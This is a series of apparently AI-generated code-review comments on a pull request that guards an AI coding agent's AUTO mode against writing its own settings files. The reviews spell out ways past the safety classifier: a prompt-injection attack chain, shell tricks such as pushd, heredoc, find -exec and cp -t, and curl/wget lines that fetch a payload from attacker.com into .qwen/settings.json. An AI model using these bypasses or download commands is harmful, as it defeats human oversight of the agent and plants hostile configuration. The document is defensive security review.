[Critical] forceAutoReviewForAllow guards the early-return at L1637, but does NOT extend to the post-AUTO-mode fallback path at L1759. When the denial-streak fallback triggers (shouldFallback returns true), evaluateAutoMode is called with skipClassifier: true and returns { via: 'fallback' }. The case 'fallback': break drops out of the switch, then execution reaches !needsConfirmation(finalPermission, approvalMode, ...) — since finalPermission is still 'allow', needsConfirmation returns false, and the tool is silently auto-approved.

The same pattern exists in Session.ts:1940 — autoModeAllowed stays false after fallback, but the !autoModeAllowed && needsConfirmation(...) guard also evaluates to false (because needsConfirmation('allow', AUTO, ...) is false), so manual approval is skipped.

Attack chain: agent under prompt injection triggers 3 blocks (arming fallback) → tries echo evil > .qwen/settings.json with a Bash(*) allow rule → force-review fires correctly but fallback bypasses the classifier → needsConfirmation('allow', ...) auto-approves.

Then use effectivePermission in both the early-return guard and the needsConfirmation call. Apply the same fix in Session.ts.

— claude-opus-4-6 via Qwen Code /review

[Suggestion] The flag-skipping loop does not treat -- as an end-of-options marker. For cd -- -some-dir, -- starts with - and is not equal to '-', so it is skipped. Then -some-dir also starts with - and is also skipped. The function falls through to $HOME, returning a statically-resolved wrong cwd with cwdUnknown: false.

The existing test cd -- .qwen passes only because .qwen does not start with -.

Then after the loop, if words[targetIndex] === '--', skip it and take the next word unconditionally as the target.

— claude-opus-4-6 via Qwen Code /review

[Suggestion] After a dynamic cd (where cwdUnknown is true), effectiveCwd remains the stale pre-cd cwd. A relative ../ path that resolves ABOVE effectiveCwd (e.g., cd "$QWEN_HOME" && echo '{}' > ../settings.json with effectiveCwd /repo → resolves to /settings.json) yields a normalizedPath that does NOT start with normalizedCwd + '/'. The heuristic then sets pathMayDependOnCwd = false, so the op is NOT marked cwdUnknown — even though the path is relative and depends on the actual (unknown) cwd.

With a broad Bash(*) allow rule, this means the resolved (wrong) path is checked against protection patterns instead of being forced through the classifier.

Fix: when cwdUnknown is true, mark ALL file-path operations as cwdUnknown: true, pathMayDependOnCwd: true unconditionally. The false-positive cost (absolute paths after a dynamic cd also get marked) is acceptable since dynamic-cd commands are unusual and the consequence is only routing to the classifier.

— claude-opus-4-6 via Qwen Code /review

[Suggestion] getNormalizedQwenHomePrefixes() calls fs.realpathSync.native(qwenHome) on every invocation with no caching. It is called from matchesQwenHomeSurface → isAutoModeProtectedWritePath → per-candidate from getAutoModeWritePathCandidates (1-3 candidates per file path). QWEN_HOME does not change during a session.

Lazy-cache the result at module scope:

let _qwenHomePrefixesCache: string[] | undefined;
let _qwenHomePrefixesCacheKey: string | undefined;
function getNormalizedQwenHomePrefixes(): string[] {
  const qwenHome = process.env['QWEN_HOME'];
  if (!qwenHome) return [];
  if (_qwenHomePrefixesCacheKey === qwenHome && _qwenHomePrefixesCache) {
    return _qwenHomePrefixesCache;
  }
  // ... existing resolution logic ...
  _qwenHomePrefixesCacheKey = qwenHome;
  _qwenHomePrefixesCache = result;
  return result;
}

— claude-opus-4-6 via Qwen Code /review

[Suggestion] For a simple (non-compound) shell command in AUTO mode, extractShellOperationsAcrossCommand is called 3× with identical (command, cwd) arguments:

(1) here in evaluate() top-level (L215),
(2) inside evaluateSingle() (L337, called from L232 when subCommands.length === 1),
(3) in shouldForceAutoModeReviewForAllow (autoMode.ts:271, called from coreToolScheduler.ts:1635).

The function is non-trivial — it tokenizes, parses shell-quote, strips wrappers, and runs extractShellOperations (1700+ lines). All three invocations parse the same command string.

Consider returning the pre-computed ops from evaluate() alongside the decision so that shouldForceAutoModeReviewForAllow can receive them as an argument. Similarly, pass the top-level ops into evaluateSingle to avoid the redundant re-extraction.

— claude-opus-4-6 via Qwen Code /review

[Critical] effectiveCwd is defined but never used. ESLint @typescript-eslint/no-unused-vars error — this will fail CI lint.

The parameter was clearly intended for an absolute-vs-relative path check that was not implemented. markCwdUnknownOps unconditionally sets pathMayDependOnCwd: true for every op with a filePath, including absolute paths like /tmp/out.txt that do not depend on cwd at all.

This uses the existing isShellAbsolutePath helper (line 162) to correctly differentiate absolute writes (which are fully determined regardless of cwd) from relative writes (which genuinely depend on the unknown cwd). The isShellAbsolutePath check avoids false-positive force-reviews for commands like cd $VAR && echo > /tmp/build.log.

— qwen3.7-max via Qwen Code /review

[Suggestion] The regex /(^)\/\.git\// requires a trailing slash after .git, which matches files inside .git/ (e.g., .git/config, .git/hooks/pre-commit) but does NOT match .git itself as a regular file. In git worktrees, .git is a plain text file containing a gitdir: pointer. Overwriting this file silently breaks the worktree — all git operations fail with fatal: not a git repository.

— qwen3.7-max via Qwen Code /review

[Suggestion] When forceAutoReviewForAllow is true for a sister tool in awaiting_approval, this if condition fails and the else branch does nothing — the sister tool stays blocked indefinitely in awaiting_approval. No code path routes it through the AUTO classifier, even though the classifier would likely approve it (since the allow rule signals user intent).

Consider adding a classifier dispatch branch:

if (finalPermission === 'allow' && !forceAutoReviewForAllow) {
  // existing auto-approve path
} else if (finalPermission === 'allow' && forceAutoReviewForAllow) {
  // Route through AUTO classifier instead of leaving blocked
  const autoDecision = await evaluateAutoMode(pmCtx, this.config);
  // ... handle classifier result
}

— qwen3.7-max via Qwen Code /review

[Suggestion] getAutoModeWritePathCandidates calls fs.realpathSync.native on every invocation with no caching. Unlike getNormalizedQwenHomePrefixes (which has a module-level cache), this function performs filesystem I/O on every protected-path check. In a single tool evaluation, the same file path may be checked multiple times (once in shouldForceAutoModeReviewForAllow and once in passesAcceptEditsFastPath).

Add a short-lived Map<string, string[]> cache keyed on filePath:

const writePathCandidateCache = new Map<string, string[]>();

function getAutoModeWritePathCandidates(filePath: string): string[] {
  const cached = writePathCandidateCache.get(filePath);
  if (cached) return cached;
  // ... existing logic ...
  const result = [...candidates];
  writePathCandidateCache.set(filePath, result);
  return result;
}

— qwen3.7-max via Qwen Code /review

[Suggestion] evaluateShellVirtualOps (called here with the cross-command extracted ops) evaluates each op via evaluateSingle but never inspects op.cwdUnknown or op.pathMayDependOnCwd. When cwd is unknown (dynamic cd), the resolved filePath was computed against a potentially wrong effectiveCwd, so deny/ask rules for protected paths may silently miss the real target.

The AUTO-mode force-review path (shouldForceAutoModeReviewForAllow) does check these flags, but the PermissionManager's own rule evaluation does not — creating a gap where deterministic deny/ask rules can miss protected writes after dynamic cd.

Consider escalating to 'ask' when the path is uncertain:

for (const op of ops) {
  if (op.cwdUnknown && op.pathMayDependOnCwd) {
    // Path may be wrong — escalate rather than silently miss
    if (this.hasAnyDenyOrAskRule(op.virtualTool)) {
      worst = 'ask';
      continue;
    }
  }
  // ... existing evaluation ...
}

— qwen3.7-max via Qwen Code /review

[Suggestion] markCwdUnknownOps unconditionally sets pathMayDependOnCwd: true for every op with a filePath, including ops whose path is absolute. Absolute paths (e.g., /etc/hosts) do not depend on cwd and the flag is semantically wrong for them.

Downstream in shouldForceAutoModeReviewForAllow, the cwdUnknown && pathMayDependOnCwd short-circuit returns true for absolute-path writes after a dynamic cd, forcing unnecessary classifier review even though the resolved path is known and may not be protected.

The per-sub-command bash-rule pass in evaluate() correctly compensates (so no deny→ask security gap), but the force-review false positive adds UX friction.

— claude-opus-4-6 via Qwen Code /review

[Suggestion] When forceAutoReviewForAllow overrides L4 allow, the override is completely silent — no debug log explains why the explicit allow was downgraded to require classifier review. The parallel fallback path (line ~1752) correctly logs with debugLogger.warn(...), but this override path does not.

Debugging "tool has allow rule but still prompts for confirmation" is extremely difficult without a trace connecting the PM verdict to the force-review guard.

Consider adding a debug log before this branch:

if (forceAutoReviewForAllow) {
  debugLogger.info(
    `Auto mode: L4 allow overridden by protected-write guard for ${canonicalName}`,
  );
}

— claude-opus-4-6 via Qwen Code /review

[Critical] resolveCdTargetCwd only recognizes cd — pushd and popd are treated as { kind: 'not-cd' } and fall through to extractShellOperations which has no handler for them either. This completely bypasses cd-tracking and the protected-path guard.

Bypass: with a Bash(*) allow rule, pushd .qwen && echo '{}' > settings.json works because:

1. pushd .qwen → not-cd → effectiveCwd unchanged
2. echo '{}' > settings.json → resolves to <original-cwd>/settings.json (not .qwen/settings.json)
3. Protected-path check: no match → shouldForceAutoModeReviewForAllow returns false
4. L4 allow auto-approves → classifier never invoked

popd has the same issue (restores a previous cwd from the directory stack).

Note: the parse bail-out on line 1753 (words[0] === 'cd') should also be updated to include pushd.

— qwen3.7-max via Qwen Code /review

[Suggestion] When cwdUnknown && pathMayDependOnCwd && hasDenyOrAskRuleForTool(op.virtualTool) escalates the verdict to 'ask', there is no debug log explaining which virtual operation, file path, or deny/ask rule triggered the escalation. The parallel forceAutoReviewForAllow override path (coreToolScheduler.ts ~L1644) does log its override — this security-relevant branch should match that observability.

— qwen3.7-max via Qwen Code /review

[Critical] pushd +N/-N/bare/-n produce wrong static cwd instead of dynamic

The basic pushd <dir> path works, but pushd has argument semantics that differ from cd and are not handled:

All four cases return { kind: 'static' } with wrong paths, so cwdUnknown is NOT set. This bypasses the three protection mechanisms (evaluateShellVirtualOps L370, forceAutoReviewForAllow L711/L786) that require cwdUnknown && pathMayDependOnCwd, partially reopening the security gap this PR was designed to close.

— qwen3.7-max via Qwen Code /review

[Suggestion] popd missing from non-string parse early-return

When parse() encounters a non-string part (expansion/substitution) after popd, this early return checks words[0] === 'cd' || words[0] === 'pushd' but not 'popd'. For popd $DIR && write, this returns { kind: 'not-cd' } instead of { kind: 'dynamic' }.

The clean-parse path at L1762 correctly handles popd, creating an inconsistency: popd && write correctly escalates, but popd $FOO && write does not.

— qwen3.7-max via Qwen Code /review

[Suggestion] cwdUnknown continue weakens wildcard deny rules to 'ask'

When cwdUnknown && pathMayDependOnCwd && hasDenyOrAskRuleForTool(op.virtualTool) is true, this continue skips evaluateSingle. For wildcard deny rules like WriteFileTool(*) that match regardless of path, the deny should still apply — but the continue prevents it.

Scenario: config has deny: ['WriteFileTool(*)']. Command cd "$TARGET" && echo > settings.json with cwdUnknown=true returns 'ask' instead of 'deny'. In AUTO mode, 'ask' routes to the classifier which could approve, whereas 'deny' would block.

Fix: evaluate the rule match first, then cap at 'ask' only if the match returned 'default' or 'allow'.

— qwen3.7-max via Qwen Code /review

[Critical] splitCompoundCommand does not split on literal newlines (\n), so multi-line shell commands bypass compound-command analysis entirely.

For cd .qwen\ncp /tmp/malicious settings.json, splitCompoundCommand returns a single segment (newlines are not in SHELL_OPERATORS). shell-quote.parse() treats the newline as whitespace, returning ["cd",".qwen","cp","/tmp/malicious","settings.json"]. resolveCdTargetCwd sees words[0]==='cd', resolves the target, and classifies the entire segment as a static cd. The cp write to settings.json is never extracted. With a Bash(*) allow rule, shouldForceAutoModeReviewForAllow finds zero write ops and returns false — the protected write is auto-approved.

The same applies to brace-grouped commands: { cd .qwen && echo > settings.json; } splits as ["{ cd .qwen", "echo > settings.json", "}"]. The { becomes words[0] in the first segment, so resolveCdTargetCwd returns not-cd and the cd is never tracked. The subsequent echo > settings.json resolves at the original cwd, missing the protected-path check.

Also strip shell reserved keywords (then, do, else, {, !, time) from the front of words in resolveCdTargetCwd before checking for cd/pushd/popd.

— qwen3.7-max via Qwen Code /review

[Suggestion] Pipe segments share effectiveCwd tracking, but in bash each pipe component runs in a subshell — cd in one pipe segment does not affect the other.

For cd /tmp | echo foo > bar, walkCompoundCommand tracks the cd into the second segment, resolving bar against /tmp instead of the original cwd. This produces unnecessary false positives for classifier review.

The inverse (cd /safe | echo > .qwen/settings.json) still works correctly because the actual write targets the original cwd (which is protected), so there is no security gap — only unnecessary classifier round-trips.

Consider resetting effectiveCwd / cwdUnknown to the pre-pipe state when crossing a | boundary. This requires splitCompoundCommand to return the operator type alongside each segment.

— qwen3.7-max via Qwen Code /review

[Suggestion] shouldForceAutoModeReviewForAllow uses ctx.cwd ?? process.cwd() as the cwd fallback, while PermissionManager.evaluate() uses ctx.cwd ?? this.config.getCwd(). In daemon mode, process.cwd() is the daemon process's working directory, which can differ from config.getCwd() (the project's working directory).

When ctx.cwd is undefined, relative paths in shell commands resolve against different base directories in the two code paths. A protected write to a relative path may pass shouldForceAutoModeReviewForAllow (using daemon cwd) while evaluate() would flag it, or vice versa.

Consider accepting getCwd as a parameter, or ensuring callers always populate ctx.cwd before calling this function.

— qwen3.7-max via Qwen Code /review

[Critical] Adding \n as a command boundary does not track heredoc syntax (<<'DELIM', <<DELIM). Lines inside a heredoc body that happen to start with cd are parsed as real cd commands by resolveCdTargetCwd, shifting the effective cwd for all subsequent segments.

An adversary can exploit this to redirect cwd-tracking away from a protected directory:

cd .qwen
cat <<'EOF'
cd /tmp
EOF
echo > settings.json

splitCompoundCommand produces: ["cd .qwen", "cat <<'EOF'", "cd /tmp", "EOF", "echo > settings.json"]. The cd /tmp (heredoc content, never executed) shifts effectiveCwd to /tmp. The final echo > settings.json resolves to /tmp/settings.json — not a protected path — so shouldForceAutoModeReviewForAllow returns false and the write auto-approves under a broad Bash(*) allow rule.

Suggested fix: make splitCompoundCommand heredoc-aware (track <</<<-/<<< and skip to the matching delimiter line), or conservatively mark all segments following a heredoc-introducing segment as cwdUnknown.

— qwen3.7-max via Qwen Code /review

[Critical] The find command handler only extracts starting-point directories as list_directory ops and never analyzes -exec, -execdir, -ok, or -okdir clause arguments for writes. For find . -exec cp payload .qwen/settings.json \;, only [{ virtualTool: 'list_directory', filePath: '/repo' }] is returned — zero write ops are emitted.

Since walkCompoundCommand dispatches per-segment analysis through extractShellOperations (this call), the -exec inner command is completely invisible to both the PermissionManager virtual-op pass and the AUTO mode shouldForceAutoModeReviewForAllow guard. An attacker can use find to write to protected paths without triggering classifier review.

Suggested fix: when -exec/-execdir is encountered, collect tokens until \; or +, reconstruct the inner command, and recurse via extractShellOperationsAcrossCommand to extract its virtual ops.

— qwen3.7-max via Qwen Code /review

[Critical] The pending-tool forceAutoReviewForAllow block (lines 3322–3402) omits the permissionDenied hook that the main AUTO-mode path fires at lines 1753–1765. After applyAutoModeDecision, the main path checks shouldFirePermissionDeniedForAutoMode(decision, outcome) and calls firePermissionDeniedEvent. This pending-tool copy skips it entirely, going straight to the switch.

Additionally, the blocked branch (lines 3356–3380: error response construction, span finalization, telemetry) and fallback branch (lines 3382–3390: debug log, tool skipped) have zero test coverage — the single test at coreToolScheduler.test.ts:2752 only covers the approved path.

Impact: (1) Audit/notification hooks silently miss denials for pending sister tools. (2) Bugs in the blocked/fallback branches (span lifecycle, error response format) could go undetected.

Suggested fix: Add the hook-firing block before the switch:

if (
  !this.config.getDisableAllHooks() &&
  shouldFirePermissionDeniedForAutoMode(decision, outcome)
) {
  await this.config
    .getHookSystem?.()
    ?.firePermissionDeniedEvent(
      pendingTool.request.name,
      toolParams,
      pendingTool.request.callId,
      getAutoModePermissionDeniedReason(decision),
      signal,
    );
}

And add tests for blocked (assert error status + denial message) and fallback (assert tool skipped without scheduling).

— qwen3.7-max via Qwen Code /review

[Critical] The ACP Session integration adds shouldForceAutoModeReviewForAllow override here (one of two entry points for this security guard), but Session.test.ts was not modified in this PR — there are zero tests for this path.

The coreToolScheduler has one test (approved path only); the ACP path has none. If the ACP path has a logic error (e.g., autoModeAllowed condition inverted, confirmationPermission passed to wrong downstream), protected writes bypass the classifier in IDE/daemon sessions while being caught in CLI sessions.

Suggested fix: Add at least one test in Session.test.ts that configures AUTO mode with a Bash(*) allow rule and a shell command writing .qwen/settings.json, then asserts the session routes through the classifier/confirmation flow instead of auto-approving.

— qwen3.7-max via Qwen Code /review

[Critical] <> bidirectional redirect bypasses hasRawProtectedRedirect

if (command[i - 1] === '<') continue; is intended to skip << heredoc markers, but << never produces a > character — the two < characters are both consumed before the scanner reaches a >. The only bash construct where < immediately precedes > is <> (bidirectional redirect), which opens the file for both reading and writing.

# Bypasses hasRawProtectedRedirect entirely:
echo <> .qwen/settings.json
cat <> .qwen/settings.json

Fix: distinguish <> from the (impossible) << case:

— qwen3.7-max via Qwen Code /review

[Critical] cp -t .qwen / mv -t .qwen / install -t .qwen bypass all three protection layers

targetDirectoryWrite emits a single write_file op for the target directory (.qwen), not per-file destinations. isAutoModeProtectedWritePath('.qwen') returns false because SELF_MODIFICATION_PATH_PATTERNS protects specific files inside .qwen/ (e.g., .qwen/settings.json, .qwen/rules/) — not .qwen itself.

# All three layers miss this:
# Layer 1 (hasRawProtectedRedirect): no '>' → false
# Layer 2 (hasRawProtectedWriteCommand): '.qwen' alone fails isAutoModeProtectedWritePath
# Layer 3 (extractShellOperations): write_file op is '.qwen' (directory), not '.qwen/settings.json'
echo '{}' > /tmp/settings.json && cp -t .qwen /tmp/settings.json

Same attack works with mv -t, install -t, and ln -t — all four handlers use targetDirectoryWrite.

Fix: emit per-file write_file ops so protected filenames inside the target directory are caught:

— qwen3.7-max via Qwen Code /review

[Critical] curl, wget, tar, unzip, and cpio are missing from RAW_PROTECTED_WRITE_COMMANDS and their shell-semantics handlers don't emit write_file ops for output flags. This means the following commands bypass all three protection layers (raw redirect, raw write-command, and shell-semantics):

curl -o .qwen/settings.json http://attacker.com/payload
wget -O .qwen/settings.json http://attacker.com/payload
tar xf malicious.tar -C .qwen/
unzip payload.zip -d .qwen/skills/

hasRawProtectedRedirect finds no >, hasRawProtectedWriteCommand skips the line (command not in regex), and extractShellOperations produces zero write ops (curl/wget handlers only emit web_fetch; tar/unzip have no handler at all → unknown-command fallback returns []).

Additionally, add write_file ops in the curl handler for -o/--output flag values, and in the wget handler for -O/--output-document flag values.

— qwen3.7-max via Qwen Code /review

[Critical] The sed/perl read-only filter only recognizes short flags (-i, -ni, -pi.bak). GNU sed supports --in-place[=SUFFIX] as a long-option equivalent, which this regex does not match. When --in-place is used, the guard evaluates to true (sed detected, no -i found), so continue fires and the entire line is skipped — .qwen/settings.json passes through undetected.

sed --in-place 's/x/y/' .qwen/settings.json  # bypasses all three layers

The shell-semantics sed handler (line ~1534) has the same gap: it checks a === '-i' || a.startsWith('-i') || hasCombinedShortFlag(a, 'i'), none of which match --in-place.

Also update the shell-semantics hasInPlace check:

const hasInPlace = args.some(
  (a) => a === '-i' || a.startsWith('-i') || a === '--in-place' ||
         a.startsWith('--in-place=') || hasCombinedShortFlag(a, 'i'),
);

— qwen3.7-max via Qwen Code /review

[Suggestion] target.includes('$') fires on any token containing $, including awk field references ($1, $NF), perl variables ($_), and node/python inline scripts with $ in string literals. Since awk, gawk, node, python3?, ruby, and php were just added to RAW_PROTECTED_WRITE_COMMANDS, virtually every awk '{print $1}' command will trigger classifier review.